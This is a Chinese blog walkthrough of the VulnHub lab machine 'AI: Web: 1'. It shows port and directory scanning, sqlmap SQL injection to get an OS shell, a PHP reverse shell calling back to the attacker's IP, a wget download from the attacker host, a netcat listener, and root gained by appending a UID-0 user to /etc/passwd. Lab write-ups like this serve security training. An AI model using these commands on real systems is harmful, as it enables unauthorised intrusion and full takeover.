vulnhub靶机AI-Web-1.0渗透过程

文章描述了一次针对靶机的网络安全渗透测试过程,涉及SQL注入技术来获取数据库信息,以及权限提升以获取操作系统级别的控制。通过Web应用程序漏洞(如info.php)发现并利用SQLMap进行攻击,最终获取root权限并找到flag。
摘要由CSDN通过智能技术生成

目录

靶机信息

主机信息

网站信息

SQL注入

权限提升

flag

下载地址:AI: Web: 1 ~ VulnHub

靶机信息

靶机界面

确认攻击机和靶机在同一网段

主机信息

查看下当前网段存活的主机

sudo arp-scan -l 

靶机的ip地址为10.4.7.145

扫下ip开放的端口

sudo nmap -A -p- -sS -sC -T4 10.4.7.145

这边就开放了一个80 端口是一个Apache httpd

网站信息

访问下网页

这个大概意思就是 连谷歌都搜不到我的信息

源码里也没什么有用的信息

扫下他网页的目录信息

dirb http://10.4.7.145  

扫出来3个文件index.html、robots.txt、server-status,都去访问一下

10.4.7.145/index.html

10.4.7.145/robots.txt

访问robots.txt文件,里面发现有两个目录,这个文件大概的意思就是不允许爬取这两个文件。

(此地无银三百两,我就得看看)

10.4.7.145/m3diNf0

10.4.7.145/se3reTdir777/uploads

网页上发现的目录都没有权限访问

接着访问下扫出来的最后一个目录

10.4.7.145/server-status

还是没有权限

接着扫下网页里发现目录

dirb http:10.4.7.145/m3diNf0

发现这个目录里有info.php文件,访问看看

(info.php里面就是服务器上的PHP配置信息,这个页面会列出PHP版本、服务器操作系统、PHP配置参数等信息)

10.4.7.145/m3diNf0/info.php

里面没有什么有用信息,但是看到了这个文件的路径信息

这次扫下se3reTdir777

dirb http://10.4.7.145/se3reTdir777

这边有个index.php文件,(这是个网站的默认首页文件)访问一下

http://10.4.7.145/se3reTdir777/index.php

这边显示有个输入框,可能会有sql注入漏洞

SQL注入

上msfconsle

sqlmap -u "http://10.4.7.145/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell

用msf意味着攻击者可以获得对目标系统的更高级别的访问权限,并且可以执行各种操作

sqlmap:用于检测和利用 Web 应用程序中的 SQL 注入漏洞。它能够自动化地检测、识别和利用多种类型的 SQL 注入漏洞,从而获取目标数据库中的敏感信息

--os-shell:选项会利用数据库服务器上的SQL注入漏洞,获取操作系统级别的命令行访问权限

第一个问题是web服务器支持那种web应用程序语言

第四个php

第二个问题是你想用什么作为可写目录

第二个自定义位置

下面就是要选择文件路径:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

(根据前面找到的info.php文件暴露的信息,绝对路径选择:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/)

这样就进入靶机系统os-shell命令行了(通过Shell,用户可以管理文件、运行程序、配置系统等操作。)

在kali里写一个php远程shell,ip是kali的ip

<?php
$sock=fsockopen("10.4.7.130",8848);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

在创建的php文件里打开终端,开启一个简单的http服务

访问下网页看看文件是否上传成功

回到靶机shell窗口将文件下载下来

wget -S http://10.4.7.130:8848/niuma.php
 

可能会出现好几次异常,多下几次就可以下载了!

权限提升

关闭http服务

在kali里再打开一个终端,设置监听端口为8848

nc -lnvp 8848

然后靶机执行刚下载的niuma文件

php niuma.php

看看监听到没

用python交互式可以看到用户的同时也能看到文件路径

python -c 'import pty;pty.spawn("/bin/bash")'

当前用户不是root,但有/etc/password文件的写入权限

尝试添加一个用户登录,因为写入的时候密码是加密的,所以要先加密密码

openssl passwd -1 -salt web1 123456

openssl passwd:这是一个秘码加密工具

-1:选用MD5加密

-salt:为密码增加复杂性,这会让相同的密码哈希出不同的结果

再写入加密后的密码

echo 'web1:$1$web1$ZrYgDZgZpLlsnVlxUaZwh/:0:0::/root:/bin/bash'>>/etc/passwd

0:0 :将web1用户的UID,GID设置为0(会获得root权限)

/root :web1的家目录设置在root的家目录

切换创建的web1用户,已经是root权限了

flag

  • 36
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值